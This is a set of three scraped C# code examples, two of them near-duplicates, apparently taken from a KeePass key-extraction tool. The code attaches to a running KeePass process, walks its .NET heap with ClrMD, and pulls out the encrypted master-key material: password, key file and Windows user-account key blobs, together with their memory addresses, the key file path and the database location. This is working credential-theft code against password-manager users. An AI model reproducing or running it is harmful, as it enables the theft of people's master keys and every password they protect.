Example #1
0
        public static KcpKeyFile GetKcpKeyFileInfo(ulong KcpKeyFileAddr, ClrType KcpKeyFileType, ClrHeap Heap, string databaseLocation)
        {
            KcpKeyFile KeyFileInfo = new KcpKeyFile();

            // key file path
            ClrInstanceField KcpStringField     = KcpKeyFileType.GetFieldByName("m_strPath");
            ulong            KcpStringFieldAddr = KcpStringField.GetAddress(KcpKeyFileAddr);
            object           keyFilePath        = KcpStringField.GetValue(KcpStringFieldAddr, true);

            // Get the embedded ProtectedBinary
            ClrInstanceField KcpProtectedBinaryField   = KcpKeyFileType.GetFieldByName("m_pbKeyData");
            ulong            KcpProtectedBinaryAddr    = KcpProtectedBinaryField.GetAddress(KcpKeyFileAddr);
            ulong            KcpProtectedBinaryObjAddr = (ulong)KcpProtectedBinaryField.GetValue(KcpKeyFileAddr);

            ClrInstanceField EncDataField     = KcpProtectedBinaryField.Type.GetFieldByName("m_pbData");
            ulong            EncDataAddr      = EncDataField.GetAddress(KcpProtectedBinaryObjAddr);
            ulong            EncDataArrayAddr = (ulong)EncDataField.GetValue(KcpProtectedBinaryObjAddr);

            ClrType EncDataArrayType = Heap.GetObjectType(EncDataArrayAddr);
            int     len = EncDataField.Type.GetArrayLength(EncDataArrayAddr);

            if (len <= 0 || len % 16 != 0) // Small sanity check to make sure everything's ok
            {
                return(null);
            }

            byte[] EncData = new byte[len];
            for (int i = 0; i < len; i++)
            {
                EncData[i] = (byte)EncDataArrayType.GetArrayElementValue(EncDataArrayAddr, i);
            }

            KeyFileInfo.databaseLocation     = databaseLocation;
            KeyFileInfo.encryptedBlob        = EncData;
            KeyFileInfo.encryptedBlobAddress = (IntPtr)KcpKeyFileType.GetArrayElementAddress(EncDataArrayAddr, 0);
            KeyFileInfo.encryptedBlobLen     = len;
            KeyFileInfo.keyFilePath          = keyFilePath.ToString();

            return(KeyFileInfo);
        }
Example #2
0
        // Returns all the info about any Composite Keys stored in memory
        public static List <CompositeKeyInfo> GetCompositeKeyInfo(Process process)
        {
            List <CompositeKeyInfo> keyInfo = new List <CompositeKeyInfo>();
            DataTarget dt = null;
            string     databaseLocation = "";

            try
            {
                dt = DataTarget.AttachToProcess(process.Id, 50000);

                if (dt.ClrVersions.Count == 0)
                {
                    string err = "CLR is not loaded. Is it Keepass 1.x, perhaps?";
                    Logger.WriteLine(err);
                    throw new Exception(err);
                }

                if (dt.ClrVersions.Count > 1)
                {
                    Logger.WriteLine("*** Interesting... there are multiple .NET runtimes loaded in KeePass");
                }

                ClrInfo    Version = dt.ClrVersions[0];
                ClrRuntime Runtime = Version.CreateRuntime();
                ClrHeap    Heap    = Runtime.GetHeap();

                if (!Heap.CanWalkHeap)
                {
                    string err = "Error: Cannot walk the heap!";
                    Logger.WriteLine(err);
                    throw new Exception(err);
                }

                foreach (ulong obj in Heap.EnumerateObjectAddresses())
                {
                    ClrType type = Heap.GetObjectType(obj);

                    if (type == null || type.Name != "KeePassLib.PwDatabase")
                    {
                        continue;
                    }

                    Logger.WriteLine("************ Found a PwDatabase! **********");

                    List <ulong> referencedObjects = ClrMDHelper.GetReferencedObjects(Heap, obj);

                    // First walk the referenced objects to find the database path
                    foreach (ulong refObj in referencedObjects)
                    {
                        ClrType refObjType = Heap.GetObjectType(refObj);
                        if (refObjType.Name == "KeePassLib.Serialization.IOConnectionInfo")
                        {
                            ClrInstanceField UrlField     = refObjType.GetFieldByName("m_strUrl");
                            ulong            UrlFieldAddr = UrlField.GetAddress(refObj);
                            object           Url          = UrlField.GetValue(UrlFieldAddr, true);
                            databaseLocation = (string)Url;
                        }
                    }

                    if (databaseLocation != "")
                    {
                        Logger.WriteLine("*** PwDatabase location : " + databaseLocation);

                        referencedObjects = ClrMDHelper.GetReferencedObjects(Heap, obj);

                        // now walk the referenced objects looking for a master composite key
                        foreach (ulong refObj in referencedObjects)
                        {
                            ClrType refObjType = Heap.GetObjectType(refObj);
                            if (refObjType.Name == "KeePassLib.Keys.CompositeKey")
                            {
                                Logger.WriteLine("************ Found a CompositeKey! **********");
                                CompositeKeyInfo CompositeKey = new CompositeKeyInfo();

                                // Get all objects kept alive by the composite key.
                                // (A shortcut to get references to all Key types)
                                List <ulong> referencedObjects2 = ClrMDHelper.GetReferencedObjects(Heap, refObj);

                                foreach (ulong refObj2 in referencedObjects2)
                                {
                                    ClrType refObjType2 = Heap.GetObjectType(refObj2);

                                    if (refObjType2.Name == "KeePassLib.Keys.KcpPassword")
                                    {
                                        KcpPassword KcpPassword = GetKcpPasswordInfo(refObj2, refObjType2, Heap, databaseLocation);

                                        if (KcpPassword == null)
                                        {
                                            continue;
                                        }

                                        CompositeKey.AddUserKey(KcpPassword);
                                    }
                                    else if (refObjType2.Name == "KeePassLib.Keys.KcpKeyFile")
                                    {
                                        KcpKeyFile KcpKeyFile = GetKcpKeyFileInfo(refObj2, refObjType2, Heap, databaseLocation);

                                        if (KcpKeyFile == null)
                                        {
                                            continue;
                                        }

                                        CompositeKey.AddUserKey(KcpKeyFile);
                                    }
                                    else if (refObjType2.Name == "KeePassLib.Keys.KcpUserAccount")
                                    {
                                        KcpUserAccount KcpUserAccount = GetKcpUserAccountInfo(refObj2, refObjType2, Heap, databaseLocation);

                                        if (KcpUserAccount == null)
                                        {
                                            continue;
                                        }

                                        CompositeKey.AddUserKey(KcpUserAccount);
                                    }
                                }
                                if (CompositeKey.UserKeyCount > 0)
                                {
                                    keyInfo.Add(CompositeKey);
                                }
                            }
                        }
                    }
                }

                Logger.Write("\n");
            }
            catch (Exception e)
            {
                Logger.WriteLine(e.Message);
                throw;
            }
            finally
            {
                if (dt != null)
                {
                    dt.Dispose();
                }
            }

            return(keyInfo);
        }
Example #3
0
        public static KcpKeyFile GetKcpKeyFileInfo(ulong KcpKeyFileAddr, ClrType KcpKeyFileType, ClrHeap Heap, string databaseLocation)
        {
            KcpKeyFile KeyFileInfo = new KcpKeyFile();

            // key file path
            ClrInstanceField KcpStringField = KcpKeyFileType.GetFieldByName("m_strPath");
            ulong KcpStringFieldAddr = KcpStringField.GetAddress(KcpKeyFileAddr);
            object keyFilePath = KcpStringField.GetValue(KcpStringFieldAddr, true);

            // Get the embedded ProtectedBinary
            ClrInstanceField KcpProtectedBinaryField = KcpKeyFileType.GetFieldByName("m_pbKeyData");
            ulong KcpProtectedBinaryAddr = KcpProtectedBinaryField.GetAddress(KcpKeyFileAddr);
            ulong KcpProtectedBinaryObjAddr = (ulong)KcpProtectedBinaryField.GetValue(KcpKeyFileAddr);

            ClrInstanceField EncDataField = KcpProtectedBinaryField.Type.GetFieldByName("m_pbData");
            ulong EncDataAddr = EncDataField.GetAddress(KcpProtectedBinaryObjAddr);
            ulong EncDataArrayAddr = (ulong)EncDataField.GetValue(KcpProtectedBinaryObjAddr);

            ClrType EncDataArrayType = Heap.GetObjectType(EncDataArrayAddr);
            int len = EncDataField.Type.GetArrayLength(EncDataArrayAddr);

            if (len <= 0 || len % 16 != 0) // Small sanity check to make sure everything's ok
                return null;

            byte[] EncData = new byte[len];
            for (int i = 0; i < len; i++)
            {
                EncData[i] = (byte)EncDataArrayType.GetArrayElementValue(EncDataArrayAddr, i);
            }

            KeyFileInfo.databaseLocation = databaseLocation;
            KeyFileInfo.encryptedBlob = EncData;
            KeyFileInfo.encryptedBlobAddress = (IntPtr)KcpKeyFileType.GetArrayElementAddress(EncDataArrayAddr, 0);
            KeyFileInfo.encryptedBlobLen = len;
            KeyFileInfo.keyFilePath = keyFilePath.ToString();

            return KeyFileInfo;
        }